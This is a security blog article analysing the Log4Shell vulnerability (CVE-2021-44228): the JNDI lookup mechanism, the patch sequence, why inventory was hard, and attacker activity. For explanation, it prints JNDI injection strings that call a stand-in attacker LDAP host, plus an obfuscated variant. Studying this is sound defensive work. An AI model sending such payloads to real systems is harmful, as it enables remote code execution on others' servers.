Skip to content
pwnsy
threat-intelintermediate#log4shell#log4j#supply-chain#incident-analysis#case-study

Log4Shell: One Log Line to Remote Code Execution

How CVE-2021-44228 worked: JNDI lookups inside logged strings, the LDAP class-loading chain, the four-release patch sequence, and why finding every vulnerable copy was harder than fixing it.

In December 2021, security teams spent a weekend discovering that a logging library they had never chosen, in software they had not written, could be turned into remote code execution by putting a string in a text field.

The mechanism is almost comically small. Log4j supported lookups inside log messages, so ${java:version} in a logged string would be replaced with the Java version. One of the supported lookups was JNDI, which can fetch objects from a remote directory server. Put those together and a logged string containing ${jndi:ldap://attacker.example/x} makes the logging library connect to an attacker's server and load whatever it returns.

The panic was proportionate. Log4j is in an enormous share of Java applications, the attack needed no authentication, and the input could be anything that eventually got written to a log.

This page covers the mechanism, the four-release patch sequence that caught teams out, and the reason the response took months rather than an afternoon.

Timeline

DateEvent
24 November 2021The issue is reported to Apache
9 December 2021A proof of concept circulates publicly. Mass scanning begins
10 December 2021CVE-2021-44228 is published. 2.15.0 is released
13 to 14 December 20212.15.0 is found incomplete in some configurations. CVE-2021-45046. 2.16.0 released
17 December 2021CISA issues Emergency Directive 22-02 for federal agencies. CVE-2021-45105 follows, then 2.17.0
28 December 20212.17.1 addresses CVE-2021-44832
July 2022The US Cyber Safety Review Board publishes its review, calling it an endemic vulnerability

The mechanism

Three ordinary features stacked into a critical vulnerability.

One: Log4j evaluates lookups in messages. Logging ${java:version} produced the version rather than the literal text. This was documented behaviour, useful for enriching logs.

Two: JNDI can load remote objects. The Java Naming and Directory Interface resolves names to objects, and it can be pointed at an LDAP or RMI server. In some configurations, the response tells the JVM to fetch and instantiate a class from a URL.

Three: applications log untrusted input. Web servers log the User-Agent. Applications log failed usernames. Systems log filenames, device names, search terms and error strings containing user data.

Put together, the attack is one string:

User-Agent: ${jndi:ldap://attacker.example/exploit}

The application logs the request, Log4j sees the lookup, JNDI resolves it against the attacker's LDAP server, and the response directs the JVM to load a class from the attacker. The class runs.

Notice what the attacker needs: the ability to put text somewhere that gets logged. Not a valid account, not a specific endpoint, not a particular request method. A failed login is logged. A malformed request is logged. This is why the vector list was endless and why filtering on ${jndi: at the perimeter was a losing game, since the expression could be nested and obfuscated (${${lower:j}ndi:) in dozens of ways.

The patch sequence that caught people out

Teams that patched once in December often patched three times.

VersionStatus
2.14.1 and earlierVulnerable to CVE-2021-44228
2.15.0Incomplete in some non-default configurations, CVE-2021-45046
2.16.0Message lookups removed, JNDI disabled by default. Then CVE-2021-45105, a denial of service
2.17.0Fixes the DoS. Then CVE-2021-44832, requiring configuration file write access
2.17.1The endpoint for the Java 8 line

Two practical notes that stayed relevant afterwards.

formatMsgNoLookups was not sufficient. The flag was widely recommended in the first 48 hours and did not cover every path.

Removing the class is the durable fallback. Where upgrading was impossible, deleting JndiLookup from the JAR removes the capability entirely:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Newer Java runtimes made exploitation harder by refusing to load classes from remote codebases by default, which closed the simplest path. It did not make vulnerable versions safe, because other exploitation routes existed using classes already on the classpath, and repeating "we are on a recent JDK so we are fine" was one of the more common errors of that month.

Why it took months

The patch was available on day one. The work was finding out where to apply it.

Log4j is rarely a direct dependency. It arrives underneath a framework, which arrives underneath an application. A team that has never written log4j in a build file can still ship it in twelve services.

It gets shaded. Build tools relocate and repackage dependencies into fat JARs, so the class sits at a rewritten path and a filename scan misses it.

Vendors ship it inside appliances. Network devices, storage arrays, backup systems, virtualisation management, security products. Customers cannot inspect the contents and cannot patch them. The answer to "are we affected" depended on hundreds of vendor advisories arriving over weeks, and some never arrived.

Container images freeze it. An image built in 2019 still contains what it contained in 2019, and rebuilding requires a pipeline that may no longer exist.

Nobody had the inventory. Most organisations could not enumerate their own software components. This, rather than any property of Java, is why the response was slow.

That experience is the strongest argument yet made for software bills of materials. An organisation with an accurate SBOM answered "where do we run Log4j, and which versions" in minutes. An organisation without one spent weeks grepping, scanning artefacts, and emailing vendors. The point generalises: the value arrives on the day something like this happens, and it has to have been built beforehand. Vulnerability Management Lifecycle covers where composition analysis fits, and Cloud Misconfigurations covers the adjacent problem of not knowing what you run.

What attackers actually did with it

Exploitation split quickly into a familiar pattern.

Commodity first. Cryptomining and botnet recruitment within days, as covered in What Is a Cryptojacker. Automated scanning of the whole internet with a payload attached.

Access brokers next. Establish a foothold and sell it, the model in Initial Access Brokers Explained.

Ransomware and state activity after that. Slower, targeted, and often against internet-facing enterprise products that took months to patch.

The tail is long. Exploitation attempts against unpatched internet-facing systems continued for years, and vulnerable instances remain in appliances and embedded systems where nobody has an inventory. The Cyber Safety Review Board's judgement that this is endemic for a decade is a statement about that tail rather than about the difficulty of the fix.

What generalises

  1. Features become vulnerabilities when they meet untrusted input. Lookups in log messages were a feature. Nobody modelled the case where the message came from an attacker.
  2. Logging is an attack surface. It handles untrusted data by definition, and it is almost never treated as security-relevant code.
  3. You cannot patch what you cannot find. Inventory is the prerequisite, and the day of the emergency is too late to start.
  4. Incomplete fixes happen under time pressure. Track the advisory rather than patching once and declaring the matter closed.
  5. Your exposure includes your vendors' components, and for appliances you can neither see nor patch them yourself.

The verdict

One string in a log line, in a library nobody chose deliberately, reachable through any field an application records. The fix existed the day it was disclosed and the work took months, because the industry discovered it did not know what its own software was made of.

The durable lesson is inventory. Build the component inventory now, keep it current in the pipeline, and the next event of this shape becomes a query rather than a fire drill.

Sources & further reading